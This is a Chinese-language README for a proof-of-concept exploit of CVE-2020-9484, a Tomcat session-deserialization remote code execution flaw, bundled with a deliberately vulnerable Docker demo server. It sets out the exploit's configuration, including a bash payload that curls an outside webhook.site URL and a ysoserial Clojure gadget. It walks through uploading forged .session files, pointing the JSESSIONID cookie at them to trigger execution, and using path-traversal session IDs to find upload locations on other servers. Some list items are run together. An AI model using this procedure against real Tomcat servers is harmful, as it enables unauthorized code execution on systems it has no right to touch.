
CVE-2020-9484 的 PoC 漏洞利用程序,以及一个用于演示的易受攻击的 Web 应用程序。
该仓库包含针对CVE-2020-9484的概念验证漏洞利用代码,以及一个易受此漏洞影响的示例Web服务器。
受影响Tomcat版本为:
PersistentManager,并且使用了FileStore。.session文件),并知道上传的位置。clojure或commons-collections)。该示例服务是一个包含两个页面的Web服务器,/index.jsp(或简写为/)和/list.jsp。它允许用户上传和下载文件(特定于当前会话),实质上是作为文件存储。
/upload的POST请求支持文件上传,并允许用户选择文件名。这使得上传具有.session扩展名的文件成为可能。已知服务器将文件存储在/var/tmp/uploads目录下。FileStore的PersistentManager。(参见context.xml)clojure:1.8.0,从而便于反序列化攻击。(参见pom.xml)设置示例易受攻击服务:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
服务现在应该运行在http://localhost:8085/POC_CVE-2020-9484/。
现在调整exploit.py开头的配置变量。此处的PAYLOAD(一个shell脚本)可以是服务器可执行的任何文件。
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # 易受攻击服务的文件上传端点
FILE_UPLOAD_FORM_FIELD = 'file' # 上传页面HTML表单中的字段名
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # 易受攻击服务在服务器上存储上传文件的位置
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # Java可执行文件路径,推荐Java 11;yoserial不支持更新版本
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # 用于判断RCE尝试是否成功的payload
YOSERIAL_PAYLOAD_TYPE = "Clojure" # 此类型必须存在于易受攻击服务器的依赖中,更多细节参见https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
现在运行exploit.py。它执行以下操作:
.session文件),这些对象最终将在服务器上被反序列化:
PAYLOAD文件赋予可执行权限。PAYLOAD文件。PAYLOAD作为文件上传到服务器。.session文件上传到服务器。JSESSIONIDcookie设置为之前上传的.session文件相对于服务器会话存储的路径,从而触发它们在服务器上被反序列化并随后执行payload。许多服务器将用户上传的文件存储在形如/path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename的路径中。在这种情况下,使用形如../../../../tmp的JSESSIONID(而不是上面exploit.py中使用的任意值如"1337"*8)配合文件上传POST请求,可能有助于确定上传文件在服务器上的存储位置。